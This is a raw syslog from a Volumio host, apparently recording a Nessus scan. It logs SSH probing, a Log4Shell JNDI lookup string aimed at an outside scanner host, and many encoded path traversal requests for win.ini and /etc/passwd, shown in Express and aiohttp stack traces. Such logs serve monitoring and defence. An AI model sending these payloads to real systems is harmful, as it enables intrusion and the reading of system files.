Oct 16 06:19:28 main-office sshd[5242]: Connection reset by 192.168.102.3 port 37408 [preauth] Oct 16 06:19:29 main-office sshd[5243]: error: kex_exchange_identification: read: Connection reset by peer Oct 16 06:19:29 main-office sshd[5243]: Connection reset by 192.168.102.3 port 37420 Oct 16 06:19:53 main-office sshd[5278]: error: kex_exchange_identification: read: Connection reset by peer Oct 16 06:19:53 main-office sshd[5278]: Connection reset by 192.168.102.3 port 35556 Oct 16 06:19:58 main-office sshd[5294]: error: kex_exchange_identification: banner line contains invalid characters Oct 16 06:19:58 main-office sshd[5294]: banner exchange: Connection from 192.168.102.3 port 58130: invalid format Oct 16 06:19:58 main-office sshd[5295]: error: kex_exchange_identification: banner line contains invalid characters Oct 16 06:19:58 main-office sshd[5295]: banner exchange: Connection from 192.168.102.3 port 58140: invalid format Oct 16 06:19:58 main-office sshd[5297]: error: kex_exchange_identification: banner line contains invalid characters Oct 16 06:19:58 main-office sshd[5297]: banner exchange: Connection from 192.168.102.3 port 58158: invalid format Oct 16 06:19:58 main-office sshd[5298]: error: kex_exchange_identification: banner line contains invalid characters Oct 16 06:19:58 main-office sshd[5298]: banner exchange: Connection from 192.168.102.3 port 58170: invalid format Oct 16 06:19:58 main-office sshd[5299]: error: kex_exchange_identification: banner line contains invalid characters Oct 16 06:19:58 main-office sshd[5299]: banner exchange: Connection from 192.168.102.3 port 58182: invalid format Oct 16 06:19:58 main-office smbd[5279]: [2026/10/16 06:19:58.627426, 0] ../../source3/smbd/smb2_process.c:156(read_packet_remainder) Oct 16 06:19:58 main-office smbd[5279]: read_fd_with_timeout failed for client 0.0.0.0 read error = NT_STATUS_CONNECTION_RESET. Oct 16 06:19:58 main-office sshd[5300]: error: kex_exchange_identification: banner line contains invalid characters Oct 16 06:19:58 main-office sshd[5300]: banner exchange: Connection from 192.168.102.3 port 58186: invalid format Oct 16 06:19:58 main-office sshd[5301]: error: kex_exchange_identification: banner line contains invalid characters Oct 16 06:19:58 main-office sshd[5301]: banner exchange: Connection from 192.168.102.3 port 58196: invalid format Oct 16 06:19:58 main-office sshd[5302]: error: kex_exchange_identification: banner line contains invalid characters Oct 16 06:19:58 main-office sshd[5302]: banner exchange: Connection from 192.168.102.3 port 58200: invalid format Oct 16 06:19:59 main-office sshd[5303]: error: kex_exchange_identification: read: Connection reset by peer Oct 16 06:19:59 main-office sshd[5303]: Connection reset by 192.168.102.3 port 58208 Oct 16 06:20:12 main-office sshd[5324]: Invalid user from 192.168.102.3 port 55944 Oct 16 06:20:12 main-office sshd[5324]: Connection reset by invalid user 192.168.102.3 port 55944 [preauth] Oct 16 06:20:12 main-office sshd[5326]: error: Protocol major versions differ: 2 vs. 9 Oct 16 06:20:12 main-office sshd[5326]: banner exchange: Connection from 192.168.102.3 port 55960: could not read protocol version Oct 16 06:20:13 main-office sshd[5327]: error: Protocol major versions differ: 2 vs. 1 Oct 16 06:20:13 main-office sshd[5327]: banner exchange: Connection from 192.168.102.3 port 37914: could not read protocol version Oct 16 06:20:14 main-office sshd[5328]: error: kex_protocol_error: type 20 seq 1 [preauth] Oct 16 06:20:14 main-office sshd[5328]: Connection reset by 192.168.102.3 port 37916 [preauth] Oct 16 06:20:14 main-office sshd[5330]: Disconnecting 192.168.102.3 port 37928: bad service request ${jndi:ldap://log4shell-ssh-FKPp07u13mqZFjwgkTdA${lower:ten}.w.nessus.org/nessus [preauth] Oct 16 06:20:14 main-office sshd[5332]: error: Protocol major versions differ: 2 vs. 1 Oct 16 06:20:14 main-office sshd[5332]: banner exchange: Connection from 192.168.102.3 port 37942: could not read protocol version Oct 16 06:20:14 main-office sshd[5333]: Invalid user nessus from 192.168.102.3 port 37948 Oct 16 06:20:14 main-office sshd[5333]: fatal: userauth_finish: send failure packet: Connection reset by peer [preauth] Oct 16 06:20:14 main-office sshd[5340]: Invalid user nessus from 192.168.102.3 port 37956 Oct 16 06:20:14 main-office sshd[5340]: fatal: userauth_finish: send failure packet: Connection reset by peer [preauth] Oct 16 06:20:14 main-office sshd[5352]: Invalid user nessus from 192.168.102.3 port 37958 Oct 16 06:20:14 main-office sshd[5352]: fatal: userauth_finish: send failure packet: Connection reset by peer [preauth] Oct 16 06:20:14 main-office sshd[5354]: Invalid user ${jndi from 192.168.102.3 port 37968 Oct 16 06:20:14 main-office sshd[5354]: pam_unix(sshd:auth): check pass; user unknown Oct 16 06:20:14 main-office sshd[5354]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.102.3 Oct 16 06:20:15 main-office volumio[1160]: URIError: Failed to decode param '%80../%80../%80../%80../%80../%80../windows/win.ini' Oct 16 06:20:15 main-office volumio[1160]: at decodeURIComponent () Oct 16 06:20:15 main-office volumio[1160]: at decode_param (/volumio/node_modules/express/lib/router/layer.js:172:12) Oct 16 06:20:15 main-office volumio[1160]: at Layer.match (/volumio/node_modules/express/lib/router/layer.js:148:15) Oct 16 06:20:15 main-office volumio[1160]: at matchLayer (/volumio/node_modules/express/lib/router/index.js:585:18) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:226:15) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:91:12) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: at allowCrossDomain (/volumio/http/index.js:34:5) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:95:5) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: URIError: Failed to decode param '%80../%80../%80../%80../%80../%80../winnt/win.ini' Oct 16 06:20:15 main-office volumio[1160]: at decodeURIComponent () Oct 16 06:20:15 main-office volumio[1160]: at decode_param (/volumio/node_modules/express/lib/router/layer.js:172:12) Oct 16 06:20:15 main-office volumio[1160]: at Layer.match (/volumio/node_modules/express/lib/router/layer.js:148:15) Oct 16 06:20:15 main-office volumio[1160]: at matchLayer (/volumio/node_modules/express/lib/router/index.js:585:18) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:226:15) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:91:12) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: at allowCrossDomain (/volumio/http/index.js:34:5) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:95:5) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: URIError: Failed to decode param '%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./windows/win.ini' Oct 16 06:20:15 main-office volumio[1160]: at decodeURIComponent () Oct 16 06:20:15 main-office volumio[1160]: at decode_param (/volumio/node_modules/express/lib/router/layer.js:172:12) Oct 16 06:20:15 main-office volumio[1160]: at Layer.match (/volumio/node_modules/express/lib/router/layer.js:148:15) Oct 16 06:20:15 main-office volumio[1160]: at matchLayer (/volumio/node_modules/express/lib/router/index.js:585:18) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:226:15) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:91:12) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: at allowCrossDomain (/volumio/http/index.js:34:5) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:95:5) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: URIError: Failed to decode param '%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./winnt/win.ini' Oct 16 06:20:15 main-office volumio[1160]: at decodeURIComponent () Oct 16 06:20:15 main-office volumio[1160]: at decode_param (/volumio/node_modules/express/lib/router/layer.js:172:12) Oct 16 06:20:15 main-office volumio[1160]: at Layer.match (/volumio/node_modules/express/lib/router/layer.js:148:15) Oct 16 06:20:15 main-office volumio[1160]: at matchLayer (/volumio/node_modules/express/lib/router/index.js:585:18) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:226:15) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:91:12) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: at allowCrossDomain (/volumio/http/index.js:34:5) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:95:5) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: URIError: Failed to decode param '%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/win.ini' Oct 16 06:20:15 main-office volumio[1160]: at decodeURIComponent () Oct 16 06:20:15 main-office volumio[1160]: at decode_param (/volumio/node_modules/express/lib/router/layer.js:172:12) Oct 16 06:20:15 main-office volumio[1160]: at Layer.match (/volumio/node_modules/express/lib/router/layer.js:148:15) Oct 16 06:20:15 main-office volumio[1160]: at matchLayer (/volumio/node_modules/express/lib/router/index.js:585:18) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:226:15) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:91:12) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: at allowCrossDomain (/volumio/http/index.js:34:5) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:95:5) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: URIError: Failed to decode param '%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/winnt/win.ini' Oct 16 06:20:15 main-office volumio[1160]: at decodeURIComponent () Oct 16 06:20:15 main-office volumio[1160]: at decode_param (/volumio/node_modules/express/lib/router/layer.js:172:12) Oct 16 06:20:15 main-office volumio[1160]: at Layer.match (/volumio/node_modules/express/lib/router/layer.js:148:15) Oct 16 06:20:15 main-office volumio[1160]: at matchLayer (/volumio/node_modules/express/lib/router/index.js:585:18) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:226:15) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:91:12) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: at allowCrossDomain (/volumio/http/index.js:34:5) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:95:5) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: URIError: Failed to decode param '%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/windows/win.ini' Oct 16 06:20:15 main-office volumio[1160]: at decodeURIComponent () Oct 16 06:20:15 main-office volumio[1160]: at decode_param (/volumio/node_modules/express/lib/router/layer.js:172:12) Oct 16 06:20:15 main-office volumio[1160]: at Layer.match (/volumio/node_modules/express/lib/router/layer.js:148:15) Oct 16 06:20:15 main-office volumio[1160]: at matchLayer (/volumio/node_modules/express/lib/router/index.js:585:18) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:226:15) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:91:12) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: at allowCrossDomain (/volumio/http/index.js:34:5) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:95:5) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: URIError: Failed to decode param '%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/winnt/win.ini' Oct 16 06:20:15 main-office volumio[1160]: at decodeURIComponent () Oct 16 06:20:15 main-office volumio[1160]: at decode_param (/volumio/node_modules/express/lib/router/layer.js:172:12) Oct 16 06:20:15 main-office volumio[1160]: at Layer.match (/volumio/node_modules/express/lib/router/layer.js:148:15) Oct 16 06:20:15 main-office volumio[1160]: at matchLayer (/volumio/node_modules/express/lib/router/index.js:585:18) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:226:15) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:91:12) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: at allowCrossDomain (/volumio/http/index.js:34:5) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:95:5) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: URIError: Failed to decode param '%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd' Oct 16 06:20:15 main-office volumio[1160]: at decodeURIComponent () Oct 16 06:20:15 main-office volumio[1160]: at decode_param (/volumio/node_modules/express/lib/router/layer.js:172:12) Oct 16 06:20:15 main-office volumio[1160]: at Layer.match (/volumio/node_modules/express/lib/router/layer.js:148:15) Oct 16 06:20:15 main-office volumio[1160]: at matchLayer (/volumio/node_modules/express/lib/router/index.js:585:18) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:226:15) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:91:12) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office volumio[1160]: at allowCrossDomain (/volumio/http/index.js:34:5) Oct 16 06:20:15 main-office volumio[1160]: at Layer.handle [as handle_request] (/volumio/node_modules/express/lib/router/layer.js:95:5) Oct 16 06:20:15 main-office volumio[1160]: at trim_prefix (/volumio/node_modules/express/lib/router/index.js:328:13) Oct 16 06:20:15 main-office volumio[1160]: at /volumio/node_modules/express/lib/router/index.js:286:9 Oct 16 06:20:15 main-office volumio[1160]: at Function.process_params (/volumio/node_modules/express/lib/router/index.js:346:12) Oct 16 06:20:15 main-office volumio[1160]: at next (/volumio/node_modules/express/lib/router/index.js:280:10) Oct 16 06:20:15 main-office sshd[5357]: Connection reset by 192.168.102.3 port 37982 [preauth] Oct 16 06:20:15 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:15 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:15 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:15 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:15 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 16 06:20:15 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:15 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:15 main-office volumio[1613]: Unexpected start char in url: Oct 16 06:20:15 main-office volumio[1613]: b'GET ../../../../../../../../../../../../windows/win.ini HTTP/1.1' Oct 16 06:20:15 main-office volumio[1613]: ^ Oct 16 06:20:15 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:15 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:15 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:15 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:15 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 16 06:20:15 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:15 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:15 main-office volumio[1613]: Unexpected start char in url: Oct 16 06:20:15 main-office volumio[1613]: b'GET ../../../../../../../../../../../../winnt/win.ini HTTP/1.1' Oct 16 06:20:15 main-office volumio[1613]: ^ Oct 16 06:20:15 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:15 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:15 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:15 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:15 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 16 06:20:15 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:15 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:15 main-office volumio[1613]: Unexpected start char in url: Oct 16 06:20:15 main-office volumio[1613]: b'GET ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1' Oct 16 06:20:15 main-office volumio[1613]: ^ Oct 16 06:20:15 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:15 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:15 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:15 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:15 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 16 06:20:15 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:15 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:15 main-office volumio[1613]: Unexpected start char in url: Oct 16 06:20:15 main-office volumio[1613]: b'GET ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1' Oct 16 06:20:15 main-office volumio[1613]: ^ Oct 16 06:20:15 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:15 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:15 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:15 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:15 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 16 06:20:15 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:15 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:15 main-office volumio[1613]: Unexpected start char in url: Oct 16 06:20:15 main-office volumio[1613]: b'GET %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini HTTP/1.1' Oct 16 06:20:15 main-office volumio[1613]: ^ Oct 16 06:20:15 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:15 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:15 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:15 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:15 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 16 06:20:15 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:15 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:15 main-office volumio[1613]: Unexpected start char in url: Oct 16 06:20:15 main-office volumio[1613]: b'GET .\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/windows/win.ini HTTP/1.1' Oct 16 06:20:15 main-office volumio[1613]: ^ Oct 16 06:20:15 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:15 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:15 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:15 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:15 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 16 06:20:15 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:15 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:15 main-office volumio[1613]: Unexpected start char in url: Oct 16 06:20:15 main-office volumio[1613]: b'GET .\\.\\.\\.\\.\\.\\.\\.\\.\\.\\/winnt/win.ini HTTP/1.1' Oct 16 06:20:15 main-office volumio[1613]: ^ Oct 16 06:20:15 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:15 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:15 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:15 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:15 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 